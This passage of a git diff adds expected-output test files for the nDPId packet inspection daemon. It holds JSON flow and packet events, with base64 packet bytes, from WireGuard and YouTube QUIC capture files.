+00766{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973554,"pkt_ts_usec":988525,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":314,"pkt_l4_len":280,"pkt":"ABAY3q0FOCxKuzMdCABFAAEsLioAAEARPqHAqAAOi6LAnY0UymwBGACZBAAAAG2mYV51AAAAAAAAALRQvj6tw6QAY\/1JXhRu0\/kpg0ZD7SEgnZpAC+s8jGXziAhKpCTCH\/pk3rDPYn19TKsTuLxc1zmaU017AkbnBsHquJngTkFZUSs4A7OonKFDYfNR8NBpor3e08bbX9kpBvg5hvCfcFuilN1p\/T6Gbi7F27c\/VedFYEwOOSWRAgT933bHaR8+BsGfnNRPXDEqf0GZB2Q3fwNPouZkPRRQL29PIh6Y3f7QwNYfVcFC3cp5UvgzmnSvBJcnCk94OHMYhEzEjIXqW1oc8SvvU7RtsYPY8EWQO0s5T6PvYCWeNPCyv0ncQfWZ3DrNXptDDBcOK8yNpQjgCWPIQcRiWgbLKzw="} +00525{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"wireguard.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1563973555,"pkt_ts_usec":59830,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"OCxKuzMdABAY3q0FCABFAAB8FrAAADURYcuLosCdwKgADspsjRQAaH8xBAAAAL5AaY1zAAAAAAAAAKsmGYGKi6UV\/ABoO1rTU3erm9HJ6ajuCHhNTr+BNzOxxDMpzZpoj4pN4xXAtWKi+3K8fQ4EuV95kwtHAB1+WdN92q42fF3e2HUsuFze7Je7"} diff --git a/test/results/youtube_quic.pcap.out b/test/results/youtube_quic.pcap.out new file mode 100644 index 000000000..0b9998a55 --- /dev/null +++ b/test/results/youtube_quic.pcap.out @@ -0,0 +1,49 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"youtube_quic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1489363823466,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"216.58.205.66","src_port":54997,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02213{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":466752,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"gCqojWksxCwDBkn+CABFAAViKp8AAEARAADAqAEH2DrNQtbVAbsFTmyMDZNw4V58RG0IUTAzNQHEx\/Yat8K2lJx\/xfCgAQAEQ0hMTx0AAABQQUQABgEAAFNOSQAjAQAAU1RLAF0BAABWRVIAYQEAAENDUwBxAQAATk9OQ5EBAABNU1BDlQEAAEFFQUSZAQAAVUFJRMgBAABTQ0lE2AEAAFRDSUTcAQAAUERNROABAABTUkJG5AEAAFNNSEzoAQAASUNTTOwBAABDVElN9AEAAE5PTlAUAgAAUFVCUzQCAABNSURTOAIAAFNDTFM8AgAAS0VYU0ACAABYTENUSAIAAENTQ1RIAgAAQ09QVEgCAABDQ1JUYAIAAElSVFRkAgAAQ0VUVggDAABDRkNXDAMAAFNGQ1cQAwAALS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXBhZ2VhZDIuZ29vZ2xlc3luZGljYXRpb24uY29tfyKC9MwN17piZVNU\/QkmmE3zDBRwXexEviTXtQHZlZT\/o0M3FJ3WOBZp5lL5RXIaTAX\/iszgW7Ui51EwMzUB6IFgkpIa6H7tgIaiFYKRWMXjbzAwMDAwMDAwAGp0dp4RQa9ev39thoVizX7vQxRkAAAAQ0MyMGJldGEgQ2hyb21lLzU3LjAuMjk4Ny45OCBJbnRlbCBNYWMgT1MgWCAxMF8xMl8za3Zj9RsCsgRL78LWSY4+jwAAAABYNTA5AAAQAAEAAAAeAAAAb+PFWAAAAABoJX9SS1LMMIZlh9cGt32w74KlkbfLCJvYbB6phUnjYtV\/J7+3T+WICkKGmxl0apInEplRSWcqg\/3qI+CqJwNXZAAAAAEAAABDMjU1HvdI4XZwU8Me90jhdnBTwz2t9HxBefiRQAt7kKmuees2jgEAnGVpdpNkhQuOQ0r1tyTPo1k8IEM71wOV+MDwud\/WmN8O\/bZt8M5S76zS6GQgUAsZfJUzhYMLh2DzCj0s2UxZDpdWlDQ\/KBiEO80tVmE+bGp5czdFQGnhi\/134fgolaoUotcrvEChNXZdSQ7ze+ZsVxVgDQIPLJn5KItVO0bNTbdFJlK9ck\/6gUes9AlK+Lowm7raNBTPfJpo34tpsNA3toSRqnAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00653{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"youtube_quic.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1489363823466,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"216.58.205.66","src_port":54997,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"pagead2.googlesyndication.com","user_agent":"beta Chrome\/57.0.2987.98 Intel Mac OS X 10_12_3"}} +00923{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":467160,"pkt_caplen":427,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":427,"pkt_l4_len":393,"pkt":"gCqojWksxCwDBkn+CABFAAGdQ1YAAEARAADAqAEH2DrNQtbVAbsBiWjHDZNw4V58RG0IUTAzNQIjOTX0HE3l5Scr7Fgx2f\/r+qyKcH\/8LtiyPftQGYB9rCN29+bVRC8cQk9\/xGvEd6aBS8oqh8NZIxXxQWKlTa8RiJV0BMsIA0J2xai1sihftSstpiUm4Hfb5ePoNWBO9sfumkF4vn\/9w\/9icDJdGccA4OzurorhUAKZSZXQ2C+f4aKf6nX2PELscDc2K8rYtLquJGdtKf4c79ur+nT\/zIZbwAI5FHcm2kTejfWn+vqhJAD0GuZjr1fez\/qk2C34VbRcKzU+r3sMaPUtMdGtgzscnCkXVApYI9m9bd3dzj+CzxW8qOJ7mCU2emBxJ\/DIq4W6MZVOQ8P1s290Mflqj2Ld8WgZbVsDG+nGkhewE4Z8dkUPa+UkVgjTddS58Gokmrg9Z3Adl+QFItNyGTCZv48hVxEemek454JnWb6oZl4ujKpXhQA0CaX5LNroX5y5o\/Wny9SJ17j8aIxrDR0s65vzthwadNOZLJ62NA+MTWY0IQjOuA=="} +02227{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":527694,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADcR117YOs1CwKgBBwG71tUFTuocBCh3B7XiTuKXN4LFlWznTXqPOMTIP1YB45lXi+l5CF8JASyEKKaDONFN5YR3rA\/p9CKVXhUMWNxz3dKUg1yQftOAuLAuCFZHEo433jmLn2X4f\/Owuck2m9UesvdXoxzwq4xDpUXHvNH9PzNMS1XtEZ0KDZ904pHEN+ZkjUiA2jK\/AWrBBVjEsqHcAMngSVXjIyTLuIfTfT50KGoQr9mSm5SWUDtU4w+2DwTLde4slXrVb5tsrZJ9hx6FXeBCOwNcjEoeHA7do276\/9KH1k58X3zu+PQcEwnHQBIs5Nvjxz0m7lZ\/e4WfsWAx90HOH6likwa4aRKygVjLaiXObj1BRuaQFXdbITUHeb\/v1Bb0ex9qIwx0kcogAUVq6KGcRlImR2VCET7Q2UPfBF1HkA3bAqvJ6t1BP07HS8IKIEm70QgionKkRzGiFzdUhT09R6zdeXllUpiA63fBrBRfZD4ih6nX4zo\/yc\/lz+z\/tYWWCPtitjIx3R+MsYy6evVwKHmKh4xLbNgtf6Bu5FREacax96iyQP2\/vuAdKPy+I6gMbTz04jy4zg2nTKOKHNa3aAGNL9B3Uh5t6mqJXuzsLfLLTPDw3wrJPan+M\/0XoefuuxvaucM7CeSe1bcynXGH+VeCKK3X6BEjxAIAyaIH3WN4GasKfIjmi2abIP71bMldE4Rrc0QpuysWWFnpQQt9pN2sP40R1CWaJEjWn2UIOe0P10GgnLa0xDEY45T4mm1G5cRaybTY1lDhwEfyXyWZ9AZfiHELWMCRxQrjRsfwPjDlL6jHi\/zHIUWOI\/T4jgDqU2KclKtGJHvbzyipTcTSry1Z9gmEkVPVvz\/8EjMnwGHjnltQ6Dn6FOkOgVFgA2iD5qiIgNLtjkUfH1GBvC5KbT9MfqpK2j2k4rSt9zbnBWSsgHnKyvlhVlk4OSMFjMkESHpv2MoP7kPpHn9hYZR+DGSK3WZiE2JTywLeaTFpsQZ3daTQq1Vr04zxtlC9vRWSZgVtzp+73FUoayEpGTdeO3UERRAep7Gz6OHwglh0vTs4C4cI3glPhuREbf69JIx21MPWU3j5sPCPzg7nPp1rI9ewTvRn38IUIjcvV1KuUH4IRVmz5W6wsHwHFtnkwFNuxtYxLxpK0EDIngGp5d6ht7210ydmiQr6O0ON8qJtc3t5+jXn6ntXD+RhEqv4GCaMWHbVrUNZALDxj9JvSEzyroxEuoApEO8TL\/ZdVC\/slwR1pM3JdbAsWN2rxIFLM5krFwOakRgi754xhdBEry7MgvTwiHsgDJ3Rg3jSdB9jubcVT3HICTRmj1vR\/GLDAyPIFAzuuaVmpolrsQwDxFuyNGOcjHVBUbeP6bnCaCs1JfK35oan09836\/37ZWojhkKHAUoDUCP0eOYnRmUhbwOggCe7+p8hW83\/lILFNK1NDMAm7qAsqoccxqNT61ke0qmot69NhPXpwpGUt\/gK3nyvFne4lsK7S7r1eMvI29rlDBY0L\/e2MX+l+NFFonVbYbxqlVZxk5h57Py0nXsSE5q43RZq\/Ab5Ljnrfv\/qOWasfLkVsR95Ih7otWzubnTYoOB5dgkPlalnkY+ZT0ynhrpD6iNCVYd4popCzZS+uE59ZqtbLuU6i6Oh3yTkUuBN6l4rJS\/6y1YL+YBtywlzVVi2gqoBTO6RyHcXMeDc6anBpSJn+Y11FC9lfnd1ZBuVxPW\/4cBKWMy9IKMGLXE8iIH1zC\/mEqW8ZtRWLvviks2j2E9BFu9ovslgURdyPBgw2o0Whiqb07OoUWWMBoSXHynCDs+gbza+6qUl"} +00439{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":527699,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"xCwDBkn+gCqojWksCABFAAA7AABAADcR3IXYOs1CwKgBBwG71tUAJ1gdAAJToMXcTxyWQBEndSjIH+c74XrspwzymN45kSe5Xg=="} +00451{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":528185,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"gCqojWksxCwDBkn+CABFAABFmZwAAEARAADAqAEH2DrNQtbVAbsAMWdvDJNw4V58RG0IA4pBZ++jAYkOLlkHlCitPHPsL9hXYhophG9IU8XMssI="} +00447{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":528265,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqojWksxCwDBkn+CABFAABCp7QAAEARAADAqAEH2DrNQtbVAbsALmdsDJNw4V58RG0IBIojOiGZrOwd3wfnBAolFa+MDigGMhT3toZWnz0="} +00435{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":545456,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"xCwDBkn+gCqojWksCABFAAA6AABAADcR3IbYOs1CwKgBBwG71tUAJv+uAAOC+OqMti7vUNeHXXvIg19FQ1+L2evOUq31Rk1l"} +00933{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":554239,"pkt_caplen":433,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":433,"pkt_l4_len":399,"pkt":"xCwDBkn+gCqojWksCABFAAGjAABAADcR2x3YOs1CwKgBBwG71tUBjw9oAARmJ4LvsthB9p\/yGE2IpdREVbvQB5yLGv+xhIENchsqq0OAcgBXXugbSZQv9UDV08TJ21bW0CMrNN5FOKxa8kaWfhCd0oi7pvAo1J1YBsS+zJtDtCHoc3dhY\/z7br+UKIYnQVmZX\/dNIw6OX6o9JOVUMQ\/HBKu9ZlHaNzbn33uoCixjLaxEJkuRIFtM6EO5X0wSARoU+xDMSxCnU4\/5QOwM0NInP+lRJiT4ClqcyhQXwEatH0o0SZyopM0jf2MzyRm9VUL\/zKjAmeU6BwtVH+i\/glYMRekX1sA19sOp6VT1Pg1FNaNiE1a3dRreB4eNaOJeT39TJh+RXwZDhmQYpKs+flO06WBG9dWF\/zTR431+m35gjktGv\/MLrbDC8\/jJtYFwvkMSAH2lV3wMpUKg5V6cFZ4GOcnUoSj44Umiifvz7txLJ+g8IKsj3B\/y6bXvOHU90wkwb5amjHEl+Sz464pkSR9FPoSthmpyK9W+tPMpL3OIgNom8XDBe+yCAcH1H8RCPL1Z+Q=="} +00447{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":579586,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"gCqojWksxCwDBkn+CABFAABC7SkAAEARAADAqAEH2DrNQtbVAbsALmdsDJNw4V58RG0IBYRk4ypWzacyrTjIXN7Nm7tVc3knueVltKEdHvM="} +00439{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":598862,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"xCwDBkn+gCqojWksCABFAAA6AABAADcR3IbYOs1CwKgBBwG71tUAJvqQAAXuC7HOMD\/wTv9IPtVUJ1QkvplqoQN\/CNICm+ZU"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"youtube_quic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1489363823738,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"216.58.198.33","src_port":56074,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02204{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":738796,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"gCqojWksxCwDBkn+CABFAAVi1UgAAEARAADAqAEH2DrGIdsKAbsFTmVrDWI\/o1o3gkQjUTAzNQG3J1X3HMsKZ2COv5qgARQFQ0hMTxMAAABQQUQA1AMAAFNOSQDhAwAAVkVSAOUDAABDQ1MA9QMAAE1TUEP5AwAAVUFJRCgEAABUQ0lELAQAAFBETUQwBAAAU1JCRjQEAABTTUhMOAQAAElDU0w8BAAAQ1RJTUQEAABOT05QZAQAAE1JRFNoBAAAU0NMU2wEAABDU0NUbAQAAENPUFRsBAAAQ0ZDV3AEAABTRkNXdAQAAC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0teXQzLmdncGh0LmNvbVEwMzUB6IFgkpIa6H7tgIaiFYKRZAAAAGJldGEgQ2hyb21lLzU3LjAuMjk4Ny45OCBJbnRlbCBNYWMgT1MgWCAxMF8xMl8zAAAAAFg1MDkAABAAAQAAAB4AAABv48VYAAAAADHS1o9J\/TTNQYjpQh1bWy1pxKNWlJuoLy5bOHLwnEpeZAAAAAEAAAAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"youtube_quic.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1489363823738,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"216.58.198.33","src_port":56074,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"yt3.ggpht.com","user_agent":"beta Chrome\/57.0.2987.98 Intel Mac OS X 10_12_3"}} +02218{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":782478,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADUR4H\/YOsYhwKgBBwG72woFTqYeCGI\/o1o3gkQjAfrje9Hje5P995YFE4ABUkVKAAgAAABTVEsAPAAAAFNOTwB0AAAAUFJPRroAAABTQ0ZHWQEAAFJSRUpdAQAAU1RUTGUBAABDU0NUVwIAAENSVP\/\/BQAA+LXECKXyXyaGkNvk1LnkKe2HcwZSdJKMjSZdwRtRvlgkC7wrIojsxa12VSbQ+UqytsSw5ZWrAguctbN84e+itVKKdDan60SbCn6HO8EhAZXhZCoi6zTXVPfruFP+xbK0jobs4P1ETvvj7642AaRXoyX3AiUwRAIga0VZvCZ3TBiWNQTgv6KY8y2d9RkggowYQwi1RHlUtm4CIDUxV08RC49VVgJORrtGSNh+UsyMA8+5V0kTzoS1\/6EyU0NGRwgAAABBRUFECAAAAFNDSUQYAAAAUERNRBwAAABUQktQIAAAAFBVQlNDAAAAS0VYU0cAAABPQklUTwAAAEVYUFlXAAAAQUVTR0NDMjBrdmP1GwKyBEvvwtZJjj6PQ0hJRFRCMTAgAAC7MI00KZ1MP25xAs8ApFxY\/QSpEMcZP7AIDZmbDnFGD0MyNTUwMDAwMDAwMEDbx1gAAAAADAAAAND3AQAAAAAAAPAAdQDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAVplaZe7AAAEAwBGMEQCIFrxuSR6yQfoERjhpyCo\/HC4DbnJyy5PDUNSQYvoLd7WAiA1du1k\/DfC+hSnbCFZ+CiZL\/WBsCA2tHRh+V5os9e8wAB3AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWmVpmAsAAAQDAEgwRgIhAK1Z+StuHvhEQzbhrizA0oP28zksTi\/aWkPYynKMWI7wAiEAoZsd0Sdt7uEo3XB3wMmgRGZNny2cfedCYnG3zpLag4YBA37tgIaiFYKRAgAAAAMB6IFgkpIa6AAAAAAAKgcAAHi7gTUtv1NjZwCWXOxKBk1sXJA2HIf55ae2MzL3PkFvyFGxkQUqDMwNjIyMgPkFmJfA7TkDUyC2MDUHdaIKsVrFwcPlDEw3aflFeZmJsATJzsPrm1+aVwJKXWGZqeVwd\/EguwvUlgC5i0dcCximIGFgJilKBqbG1Dxw1BtEGgizsQO9e84W2BLhADOYGdmZnRhYMt6FvD+wnV996Zw\/hsoKnDX1AkfE3LjmrmD0Xbj\/45IfeVee\/OywebVOPSnedOpTyamR\/2zN7jmfePP5sO3s0PyvawoWN7GsN2hiWU2oLGtizgMpEGRpYk4FchKbcLm1SUZLL7GgoBiHrApEtiAfzNUrBqaYxPRUqGJgYi4Gq+LT0kvKyU+HKWsSBPILUIWUtEBUbn4eMKcm4jBGE6QGbLcuVIVuSn55Xk5+Ygq6UnVMpaUF2BQqYChEVwEMgJT80qSc1OSczORs9ADgBoZbekEG3F8QzSnAIioVLAQP1+LKvBRo5QWWEIFJlKcm5WSmQ02Q19IrTkxLzSstwBHgYAV5KUn5FTgUKGrpEQoceYQS7IEioYUrJhFa9YpTgUFSgq6AByVW+dGjWYFgJEvhCWxORFDzowe0KPbgEMISyNrFJcB4SNYrSMwDOiE3Mx9f2hXDIS6LPxz4S\/PSMnOA5VFqil5eankxUtuLvcEgA6kEjwGWQdpIZbM8tLgsyM6EGgoukd09Hd2NwIWvNlJxD1MMDC6gj4sNkXWAqgCk9qDW3+B7S2xzw150iDxJLJ4oWT2f5yFamwi5WMfaiVKENDKAtRxaz4WDjS29kQdYohsYQFpFmgbqBqoLlBco"} +02213{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"youtube_quic.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1489363823,"pkt_ts_usec":783077,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"xCwDBkn+gCqojWksCABFAAViAABAADUR4H\/YOsYhwKgBBwG72woFTtjVCGI\/o1o3gkQjAl1iY1+IPhyu0ittLaQBLgUZARLyTw62Xo9mQ7Tn55dir+alTNnl+EuTXetgrtU\/li3WZUF3t3EtPfqBg1nJrPp7bar7qdPHbjH8jwhk+pimkWuq6rVs4cviafuTL\/pWbDvkJD1zwixjdUFbM0aGipe63\/v0luly7P6xK4d1\/V35zVlHfZnq9OpLDbRdp3F95Wn77GK+6cqsr8cEfY77RjhzSh7Unhdryl2mU\/IhTPRZgsMXhZ65ayI6rm07a3GnaGsF6wp\/3rLVzcqh63smBXkUr5RrfvOpMsbbX\/13ZPXcymfXdeZ+LWmcELGYmfOd+prGpXeZdtiyB0ssnuZwNOYGp72hD8PxC2ds8mZMXnnvqd7Gb2w82Yw3Hn\/6nvVjXthRi\/UnDQF+1X0RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA